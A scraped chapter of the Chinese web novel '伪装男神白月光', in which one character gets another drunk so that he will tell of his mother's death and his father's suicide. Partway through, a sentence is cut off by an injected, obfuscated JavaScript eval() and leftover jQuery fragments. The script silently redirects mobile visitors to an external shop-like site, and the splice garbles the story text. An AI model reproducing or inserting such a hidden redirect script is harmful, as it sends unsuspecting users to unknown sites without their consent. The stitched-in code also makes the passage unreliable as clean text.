文趣网 > 都市小说 > 伪装男神白月光 > 25.第 25 章
    这一顿饭算是宾主尽欢。

    因为一开始就喝了一大杯红酒,导致之后白榆一直晕晕乎乎,也异常听话。

    陆时峥说什么,他就做什么,让他吃鱼就吃鱼,让他喝汤就喝汤,配合极了。

    顺带的,又陆陆续续喝进去半瓶红酒。

    等晚饭结束,陆时峥很干脆起身,笑着对他说:“咱们去茶室聊天吧。”

    白榆扶着他去了茶室。

    他眼前一片模糊,只看得到落地窗外昏黄的路灯,月色和玫瑰在月下朦胧,除此之外,就只剩下圆茶几上的两个小蛋糕。

    一个草莓兔子,一个芒果小熊,可爱又可口。

    白榆却愣住了。

    陆时峥看不到他的反应,他只感受到白榆的手臂一瞬的僵硬。

    “南星?”

    低沉的嗓音在耳边响起,白榆只觉得眼眶泛起一片热意,可能是因为醉酒,也可能是月色太美,他第一次抛下了理智。

    “我……”

    他都听到自己的声音有多干涩。

    “怎么会有小蛋糕?”

    陆时峥听出了他的异样,他没有直接询问,却伸出右手,轻轻握住了白榆的手。

    他的手比之前任何时候都要热。

    暖烘烘的,握着就感到安心。

    “我记得上次你就说蛋糕好吃,就让梧桐斋做了送过来当饭后甜品。”

    “怎么样,喜欢吗?”

    白榆晕晕乎乎,他说话已经无法过脑子了。

    即便喝醉了,也先把陆时峥扶着坐好,才跟着坐在了他的身边。

    “喜欢的。”白榆觉得自己可能哭了,但摸了摸脸,却没有一滴眼泪。

    “挺凑巧的,”白榆抬头看向陆时峥,“明天是我的生日。”

    陆时峥都愣了一下。

    这么多年商务酒宴下来,他酒量非常好,这半瓶红酒跟没喝一样。

    所以此刻的他无比清醒。

    也无比庆幸。

    还好他今天多定了两个蛋糕,也还好,他下定决心把白榆灌醉。

    如果没有醉,白榆永远不会告诉他,他自己的生日是什么时候。

    “这样啊,”陆时峥一边叹息一边笑,问白榆,“这两个小蛋糕,都给你吃。”

    “今天吃一个,过了十二点吃一个,好不好?”

    白榆的脸一下子热了起来。

    他整个人瘫软在沙发椅里,好像回到了温热的泉水中。

    不去想那些过往和现实,不去回忆失去和痛苦。

    这一刻,他十分放松,又觉得刻骨幸福。

    自从六岁之后,这是别人真心为他过的第一个生日。

    而这个别人,还是陆时峥。

    白榆慢慢低下头,他难得撒娇:“好的,我要自己都吃了。”

    陆时峥又感觉自己的心拧了一下。

    “明天我们再订一个,再庆祝一次。”

    陆时峥偏过头看他,声音温柔:“你喜欢什么口味的?”

    白榆乖乖回答:“我喜欢……喜欢……什么都喜欢。”

    顿了顿,白榆还是低声说:“我不太能吃巧克力的。”

    陆时峥听着他稚嫩的嗓音,心中微叹。

    “你真是很好养。”

    陆时峥摸索着推了推小蛋糕:“南星,你看你多幸运。”

    白榆怔忪。

    “我,幸运吗?”他苦笑一声,“我怎么会幸运呢?”

    “九岁的时候,我母亲就过世了。”

    他喃喃自语,好像是说给陆时峥听,又似乎只是想把这么多年的苦闷都借着酒劲儿倾诉出来。

    陆时峥今天这一场庆祝,核心目的便就在此。

    谁知他什么都没问,白榆自己就主动开口了。

    这很好,但陆时峥却还是觉得心头沉甸甸的。

    有一颗巨大的石头压在他心口上,让他喘不上气。

    在他看来,白榆很优秀,他工作能力异常出色,待人接物非常老练,工作方面的成就,一定可以让他得到满足。

    但他却有着跟工作能力相反的自卑和固执。

    不因工作和生活,那就是因为童年和家庭。

    陆时峥想让他走出来,接纳崭新的世界,也接纳优秀的自己。

    需要从最初的那一天,重新为他梳理。

    这个过程很痛苦,不啻于万箭穿心,但这一步是必须要走的。

    否则那伤痕一直存在在心上,天长日久,腐烂坏死。

    再也不能重复生机。

    只是没想到,半瓶红酒,一个蛋糕,就让白榆主动倾诉。

    或许……

    陆时峥垂下眼眸,他在虚无中看着对面的沈南星。

    或许,潜意识里,他也想要拯救自己。

    所以他没有问,他却主动说出口。

    陆时峥的手向前摩挲,重新握住了白榆温热的手。

    他手指用力,不让他逃脱。

    “南星,你说,我听。”

    白榆醉得厉害,他好像不知道自己说了什么,却又时时刻刻维持着沈学弟的声线。

    “我父母是青梅竹马,大学毕业之后结婚生子,他们夫妻恩爱,我们一家幸福美满,”白榆手指微动,回握住陆时峥,“直到我六岁的时候,母亲忽然得了癌症。”

    “这对于我父母都是巨大的打击,我母亲很坚强,一直努力配合治疗,但二十年前的医疗条件没有现在好,最终,在坚持了三年之后,我母亲,她还是,还是撒手人寰。”

    说到这里的时候,白榆眨了一下眼睛,

    一滴泪顺着右眼滑落,他一无所觉。

    这些过往,除了家中的亲人,无人能知。

    这也是白榆第一次对一个外人讲述。

    “母亲病了很长时间,虽然我年纪小,但也跟着父亲一次次往返医院和家里,渐渐的,我知道什么是死亡。”

    白榆低下头,用另一只手抹了一把脸。

    他的身体明显颤抖了一下。

    陆时峥叹了口气,他把另一只手也覆盖上去,用力握住他渐渐冰冷的手指。

    白榆借着酒劲儿,继续说着。

    “我……母亲过世的时候,我已经懂事了,我知道,从此以后,我就没有妈妈了。”

    白榆哽咽了一下:“我很害怕,很害怕,我记得我紧紧抱着父亲的腿,哪里都不敢去。”

    陆时峥安静听着。

    即便已经陪着他难过得喘不过气,却依旧没有松开手。

    他没有说话,白榆也不需要回应。

    “每当我哭的时候,父亲就会把我抱起来,哄我我入睡。”

    说到这里,白榆停顿了好长时间。

    陆时峥只能听到他沉重的呼吸声,一下,又一下。

    好像在努力把苦果咽下,好像试着让自己坚强。

    要是不坚强,后面的话就都说不出口了。

    白榆的呼吸重重击打在了陆时峥的心口上,他等了好久,白榆都没有再开口。

    陆时峥凝望着他,手中用力,把自

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825815|209616||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    己所有的勇气传给白榆。

    “南星,继续说下去。”

    白榆呆呆看下去,他眼前一片模糊,只有眼泪。

    可他就是感觉,陆时峥在凝视着他。

    眼睛看不见,但心看见了。

    他哽咽出声。

    “父亲的表现一直很正常,他很冷静处理我母亲的后事,带我回家,照顾我的衣食起居,送我去上学。”

    “一切都没有变化,跟母亲生病之前一模一样。”

    白榆哽咽得几乎说不出话。

    加上醉酒,他的声音模糊不清,陆时峥听得格外认真。

    他越听,心里越沉。

    理智告诉他,白榆一定要把当年的一切都说出来,感情却一直在脑海中叫嚣。

    别说了,别说了,有什么好说的!

    是的,他清晰认识到,自己心疼了。

    他甚至都觉得自己冷酷无情。

    明天就是白榆的生日了,要不就让他开开心心度过这个生日,不要再去回忆沉痛的过往。

    陆时峥紧紧攥着手,却没发现手心里白榆的手也慢慢蜷曲了一下。

    他的挣扎,却给了他额外的勇气。

    他试探性地回握住了他的手。

    白榆的哽咽停止了,他低头胡乱抹了一把脸,好像用尽了全身力气,艰难开口。

    “日子很平静,母亲过世带来的伤痛似乎都随着岁月抚平,直到十岁那一年,有一天下课后,父亲……没来接我。”

    白榆表情一片空茫。

    稚嫩的孩童嗓音几乎破碎。

    “我……我不敢直接回家,所以在校门口等了半个,半个小时。”

    白榆整个人颤抖起来。

    “我不应该等的。”

    陆时峥的心一下子就揪了起来。

    他忽然站起身,准确无误走到白榆身前,弯腰把他抱在了怀里。

    他的胸膛宽阔,温热,给了白榆无与伦比的安慰。

    白榆把湿漉漉的脸埋进他的肩膀上,平生第一次,他鼓起勇气,诉说那个让他人生支离破碎的夏日傍晚。

    “等了半个小时之后,天色就晚了,我记得……那天有火烧云。”

    “家里离学校只有十分钟路程,所以我决定自己回家。”

    “我……”

    白榆哽咽一声,他不由自主伸出手,抓紧了陆时峥的后背。

    他喝醉了。

    不知道自己多用力,不知道自己究竟在作什么。

    他只知道,他必须要把故事讲完。

    “我回到家里,用钥匙打开门,”白榆的呼吸声沉重,好久之后,才说,“我听到了……听到了流水声。”

    “南星,”陆时峥的感情打败了理智,“别说了,别说了。”

    他实在太心疼了,怀中的白榆单薄消瘦,犹如风中的蒲柳那样颤抖。

    陆时峥觉得眼底一片温热,他好像也跟着流出了眼泪。

    白榆把脸埋在他的肩膀上,这一刻,他感受到了对方强有力的心跳声。

    陆时峥无坚不摧,他仿佛也能在他身上汲取坚强。

    心里腐烂的血肉总要挖出来,只有去掉陈腐,才能重获新生。

    白榆痛苦无比,却又在无边的苦海里,看到了那一盏微弱的灯。

    “陆时峥,”白榆呼唤他的名字,“陆时峥。”

    “我在,我在。”

    陆时峥把他抱得更紧了。

    “那一天,我的父亲割腕自杀了,我再也没有父母了。”